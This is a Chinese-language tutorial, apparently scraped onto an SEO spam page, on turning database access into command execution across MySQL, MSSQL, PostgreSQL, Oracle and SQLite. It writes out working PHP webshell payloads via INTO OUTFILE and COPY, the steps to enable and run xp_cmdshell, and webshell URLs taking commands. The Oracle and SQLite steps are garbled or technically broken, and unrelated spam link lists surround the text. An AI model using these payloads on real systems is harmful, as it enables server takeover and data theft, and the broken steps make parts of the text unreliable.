当前位置: 首页 > news >正文

济南建设网站 概况5 网站建设的基本步骤是

济南建设网站 概况,5 网站建设的基本步骤是,福州外贸网站建设推广,新网网站内部优化1. MySQL 条件 数据库用户需要具备高权限(如 FILE 权限)。数据库服务运行用户需要对目标目录有写权限。Web 服务器有可写目录,且支持执行上传的脚本(如 PHP、JSP 等)。 原理 利用 MySQL 的 SELECT ... INTO OUTFIL…

1. MySQL

条件
  • 数据库用户需要具备高权限(如 FILE 权限)。
  • 数据库服务运行用户需要对目标目录有写权限。
  • Web 服务器有可写目录,且支持执行上传的脚本(如 PHP、JSP 等)。
原理
  • 利用 MySQL 的 SELECT ... INTO OUTFILE 功能,将恶意代码写入目标 Web 目录,生成一个 Web Shell 文件。
  • 攻击者通过浏览器访问 Web Shell,获得命令执行能力。
流程
  1. 确认 FILE 权限:
    SELECT * FROM mysql.user WHERE User='target_user';
    

  2. 写入 Web Shell 到目标目录:
    SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
    
  3. 通过浏览器访问 Web Shell 执行命令:
    http://xxxxxx.com/shell.php?cmd=whoami

2. Microsoft SQL Server (MSSQL)

条件
  • 数据库用户需要 sysadmin 权限。
  • 目标服务器启用了扩展存储过程 xp_cmdshell
  • 数据库运行用户有命令执行权限。
原理
  • 调用 MSSQL 的 xp_cmdshell 存储过程,直接在操作系统中执行命令。
流程
  1. 确认是否启用了 xp_cmdshell
    EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
    

  2. 利用 xp_cmdshell 执行命令:
    EXEC xp_cmdshell 'whoami';
    
  3. 通过命令的输出或回显获取执行结果。

3. PostgreSQL

条件
  • 数据库用户需要对文件系统具有写权限。
  • 数据库支持使用 COPY 命令将数据写入文件。
  • 目标 Web 目录可写入文件,并允许脚本执行。
原理
  • 利用 PostgreSQL 的 COPY 功能,将 Web Shell 写入目标文件系统。
流程
  1. 写入 Web Shell:
    COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';
  2. 访问 Web Shell:

    http://xxxxx.com/shell.php?cmd=id


4. Oracle

条件
  • 数据库用户需要 CREATE LIBRARY 权限。
  • 数据库运行用户需要访问操作系统。
  • 利用外部过程或 Java 存储过程。
原理
  • 通过 Oracle 数据库的外部过程,调用操作系统命令。
  • 使用 Java 存储过程执行系统级操作。
流程
  1. 创建外部库(如 DLL 文件):
    CREATE OR REPLACE LIBRARY mylib AS '/path/to/external/file';
    
  2. 调用外部过程执行命令:
    DECLAREcmd VARCHAR2(1000);
    BEGINcmd := 'ls';DBMS_SCHEDULER.CREATE_JOB(cmd);
    END;
  3. 读取命令执行结果。

5. SQLite

条件
  • SQLite 本身无法直接与操作系统交互。
  • 必须结合其他漏洞(如本地文件包含)实现 Web Shell。
原理
  • 利用 SQLite 的 ATTACH 或其他功能,尝试将恶意数据写入特定目录。
流程
  1. 写入数据:
    ATTACH DATABASE '/var/www/html/shell.php' AS shell;
  2. 在 Web 服务器中访问生成的 Web Shell 文件。

总结表

数据库条件原理流程简述
MySQLFILE 权限,Web 目录可写写入 Web Shell 通过 SELECT ... INTO OUTFILE写 Shell -> 访问 Shell -> 执行命令
MSSQLsysadmin 权限,启用 xp_cmdshell使用 xp_cmdshell 直接执行系统命令开启 xp_cmdshell -> 执行命令
PostgreSQL写权限,Web 目录可访问使用 COPY 写入 Web Shell写 Shell -> 访问 Shell -> 执行命令
OracleCREATE LIBRARY 权限,系统访问权限使用外部库或 Java 存储过程调用系统命令配置库 -> 调用命令
SQLite结合其他漏洞(如文件包含)写入恶意数据文件,结合其他漏洞(如 LFI)访问写 Shell -> 结合 LFI 执行
http://www.yayakq.cn/news/976271/

相关文章:

  • 网站开发找工作wordpress安装分享插件下载
  • 基于lamp网站建设实例做医疗器械网站怎么找高清大图
  • 做网站好不好网站建设公司推荐
  • 宁夏做网站找谁上海都有哪些公司
  • 企业网站设计方式有哪些仿站网站建设
  • 网站建设询价报告力天装饰口碑怎么样
  • 网站加速器怎么开quick chat wordpress
  • 网站建设需要工作计划电子商务网站建设实训
  • 住房和城乡建设部网站中国建造师网优秀的图片设计网站
  • 北京网站建设公司内江手机版传奇发布网站
  • 铁岭免费移动网站建设vs2012网站开发环境
  • 长沙门户网站南昌城乡住房建设厅网站
  • 怎么做app网站wordpress翻页图片效果
  • 网站建设免费的服务器阿里云网站空间购买
  • 个人网站开发多少钱做网站的找哪个
  • 简述网站建设在作用建设网站软件
  • 网站建设要哪些工作青县住房和城乡建设局网站
  • 温州建设局网站首页网络营销与直播电商是做什么的
  • 一个网站做网站地图的目的怎样写营销策划方案
  • 珠海做网站制作solusvm做网站
  • 网站宣传标语吕梁推广型网站开发
  • 开一个网站建设公司一个页面的网站
  • 有哪些网站下载ppt是免费的华侨城网站开发
  • wordpress 淘宝客网站模板网站 后台 安装
  • 定制网站 多少钱女的和男的做那个视频网站
  • 服装类的网站建设百度线上推广
  • 做企业网站不好混黄冈网站推广厂家
  • 哈尔滨专业做网站公司宝安网站设计流程
  • 东莞网站建设如何做本地网站有什么可以做
  • 做网络推网站推广的目的南充网站建设狐灵网络